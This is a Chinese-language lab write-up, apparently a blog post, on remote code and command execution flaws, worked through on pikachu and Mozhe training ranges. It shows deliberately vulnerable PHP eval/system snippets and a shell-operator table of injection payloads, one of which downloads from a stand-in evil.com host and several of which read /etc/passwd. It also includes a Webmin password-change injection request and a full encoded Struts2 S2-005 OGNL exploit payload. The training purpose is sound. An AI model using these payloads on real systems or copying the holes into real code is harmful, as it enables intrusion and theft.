RCE代码及命令执行漏洞(墨者+pikachu)

一、导图(xiaodi)

二、RCE漏洞简介

RCE(Remote Code/Command Execution)

指攻击者能够通过Web应用或其他服务在服务器上执行任意系统命令或代码的漏洞。

通常分为两类:

  • 代码执行:执行脚本语言代码(如PHP、Java、Python)

  • 命令执行 :直接调用系统命令(如Linux的bash、Windows的cmd

本地和pikachu和墨者靶场

三、代码执行漏洞示例

1.在本地里面创建一个简单的text.php文件,内容是

<?php

shell = _GET['x'];

eval($shell);

?>

这里的eval命令是将被传参的字符串执行成代码

尝试:x=echo 123

此时就会返回123(执行命令)

利用pikachu的靶场

输入phpinfo();

相当于eval()函数执行命令来将字符串当作代码执行

四、命令执行漏洞示例

<?php

shell = _GET['x'];

echo system($shell);

?>

对于命令要看自己的是windows还是linux来选择

比如ipconfig和ifconfig等

Windows 常用命令:

复制代码
# 网络信息
ipconfig
ipconfig /all
netstat -an

# 系统信息
systeminfo
whoami
tasklist
ver

# 文件操作
dir
type filename
copy source destination

Linux 常用命令:

复制代码
# 网络信息
ifconfig
ip addr
netstat -tuln

# 系统信息
uname -a
whoami
ps aux
cat /etc/issue

# 文件操作
ls -la
cat filename
cp source destination

使用ping命令来命令执行

127.0.0.1来ping一下

然后查看是什么系统来选择使用什么命令:

whoami一下

五、漏洞的产生条件

<网站原码层面>

  • 可控变量
  • 漏洞函数

一、可控变量(用户输入入口)

1. 超全局变量
复制代码
$_GET['id']           // URL参数
$_POST['username']    // 表单数据  
$_REQUEST['data']     // GET+POST+Cookie
$_COOKIE['session']   // Cookie数据
$_SERVER['HTTP_REFERER']  // HTTP头
$_FILES['upload']     // 文件上传
2. 其他输入源
复制代码
$HTTP_RAW_POST_DATA
php://input
file_get_contents('php://input')

二、漏洞函数(危险函数清单)

🚨 代码执行类漏洞函数

高危函数:
复制代码
eval($code)                    // 直接执行PHP代码
assert($code)                  // 断言执行
preg_replace('/.*/e', $code)   // 正则e修饰符
create_function($args, $code)  // 创建匿名函数
动态函数执行:
复制代码
$func = $_GET['func'];
$func();          // 动态函数调用

$obj = $_GET['class'];
$method = $_GET['method'];
$obj->$method();  // 动态方法调用

<网站应用层面>

六、漏洞检测

漏洞的检测分为白盒检测和黑盒检测两大方面。

白盒检测是知道了网站的代码等信息,然后进行检测,就相当于是进行代码审计。

黑盒检测就是什么也不知道来进行检测,可以利用一些工具或者去网上搜索一些公开的漏洞来进行测试。还可以通过观察url后面的参数值来进行判断其有没有和漏洞代码相关。

七、黑盒-应用层面-漏洞实例(墨者靶场)

点击查看:

发现跟上面的pikachu的ping命令的大致相同,那么做法应该也差不多

尝试127.0.0.1

然后发现是linux系统的然后尝试whoami等命令尝试:

发现要利用管道符:

| 符号 | 名称 | 作用 | 示例 | 漏洞利用示例 |
|-----------|--------|---------------|-----------------------------|-------------------------------------------|--------------------------------|----------------------------------|
| **` | `** | 管道符 | 前命令输出作为后命令输入 | cat /etc/passwd | grep root | ?cmd=whoami | tee result.txt |
| **` | | `** | 或操作符 | 前命令失败才执行后命令 | ping invalid_host || whoami | ?cmd=ping 1 || cat /etc/passwd |
| & | 后台执行符 | 在后台执行命令 | sleep 10 & whoami | ?cmd=wget http://evil.com/shell.sh & |
| && | 与操作符 | 前命令成功才执行后命令 | ping 127.0.0.1 && whoami | ?cmd=test -f /etc/passwd && cat it |
| ; | 命令分隔符 | 顺序执行多个命令 | ping 1; whoami; id | ?cmd=uname -a; cat /etc/passwd |
| > | 输出重定向 | 覆盖输出到文件 | whoami > output.txt | ?cmd=ifconfig > /tmp/network.txt |
| >> | 追加重定向 | 追加输出到文件 | echo "test" >> file.txt | ?cmd=cat /etc/passwd >> /tmp/result.txt |
| < | 输入重定向 | 从文件读取输入 | grep "root" < /etc/passwd | ?cmd=cat < /etc/passwd |
| 2> | 错误重定向 | 重定向错误输出 | cmd 2> error.log | ?cmd=invalid_cmd 2>/dev/null; whoami |
| &> | 全部重定向 | 重定向标准和错误输出 | cmd &> output.log | ?cmd=ls /root &> /tmp/error.txt |
| |\& | 管道错误输出 | 管道传递标准和错误输出 | cmd1 |\& cmd2 | ?cmd=invalid_cmd |\& grep -i error |
| () | 命令分组 | 将命令组合在一起 | (cd /tmp && ls) | ?cmd=(whoami; id; ifconfig) |
| {} | 命令块 | 在当前shell执行命令块 | { whoami; id; } | ?cmd={whoami; pwd;} |

使用这个和

|-----------|--------|-------------|-----------------|--------------------------------------|
| |\& | 管道错误输出 | 管道传递标准和错误输出 | cmd1 |\& cmd2 | ?cmd=invalid_cmd |\& grep -i error |

|---------|-------|---------|-----------------------------|--------------------------|
| < | 输入重定向 | 从文件读取输入 | grep "root" < /etc/passwd | ?cmd=cat < /etc/passwd |

尝试:之后发现

这个代码是检查ip的直接禁用js或者删除尝试:

  • F12 打开开发者工具

  • Ctrl+Shift+P 打开命令面板

  • 输入 javascript 选择 Disable JavaScript

最後cat一下这个key_28296111361310.php

最后得到mozhe54aaa8b12a24371b77f7f99feed

八、白盒-代码层面-漏洞实例(墨者靶场)

这里做错了一个题目php分析溯源就索性做了

根据这个就能得到flag了

mozhec304e61f1b65ec3e937908aa5b3

是做这个题目:

-------------当前页面源码----key在根目录------------------

<?php

eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));

?>

解码一下然后发现是echo `$_REQUEST[a]`;; ?>

也就是eval(echo `$_REQUEST[a]`;; ?>)

原本说eval是把字符串当作代码执行到了这句话是命令执行

尝试执行命令:

得到:?> mozhea9c8b0ccb5a59847fbc05c40ea1*/ /*

九、黑盒-RCE公开漏洞-漏洞实例

信息搜集就可以得到相关的答案了

抓包修改id值然后在根目录得到flag

抓包:

1.修改路径 session_ login.cgi 为 password_change.cgi

2.修改参数 user=jammny&pam=&expired=2&old=test1|ls /&new1=test2&new2=test2

user=jammny&pam=&expired=2&old=cat /key.txt&new1=test2&new2=test2

第二个就是Javaweb-Struts2框架类RCE漏洞

也是信息搜集就能解决

就尝试: Apache Struts2远程代码执行漏洞(S2-005)复现

http://k8gege.org/p/ab3e87f7.html工具就可以解决

37:

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls /

访问:http://ip/orders/3/+poc

最后:

cat得到mozhef88e557285f9ba74fd1485a8a04成功解决

相关推荐
梦想的旅途21 小时前
基于雪花算法(Snowflake)的 Go 语言唯一 ID 生成与并发安全实现
算法·安全·golang
yesyesido2 小时前
PDF全能管家:3合1智能处理,一键解锁高效文档管理新体验
科技·考研·安全·pdf·生活·交互·改行学it
浮尘笔记2 小时前
Go语言中如何实现线程安全的map
开发语言·后端·安全·golang
遇到困难睡大觉哈哈2 小时前
Harmony os ——ArkTS 语言笔记(五):泛型、空安全与可选链
前端·笔记·安全·harmonyos·鸿蒙
白帽子黑客罗哥5 小时前
常见的 Web 攻击手段原理及核心防范思路
web安全·网络安全·渗透测试·漏洞挖掘·就业·护网行动
派拉软件6 小时前
身份访问控制助力企业开启“人、机、系、智”安全高效协同新范式!
服务器·网络·安全·api安全·身份与访问控制·企业协同
灰灰勇闯IT6 小时前
隐语MOOC三期笔记:可信数据空间实战课——从“数据孤岛”到“安全流通”,企业落地的3个关键步骤(附部署脚本)
笔记·安全
2501_930707786 小时前
如何使用C#更改 PDF 文档的安全权限
安全·pdf
xing.yu.CTF6 小时前
ATT&CK实战系列-红队评估(九)(上)
网络·安全·web安全·横向移动·域渗透·内网对抗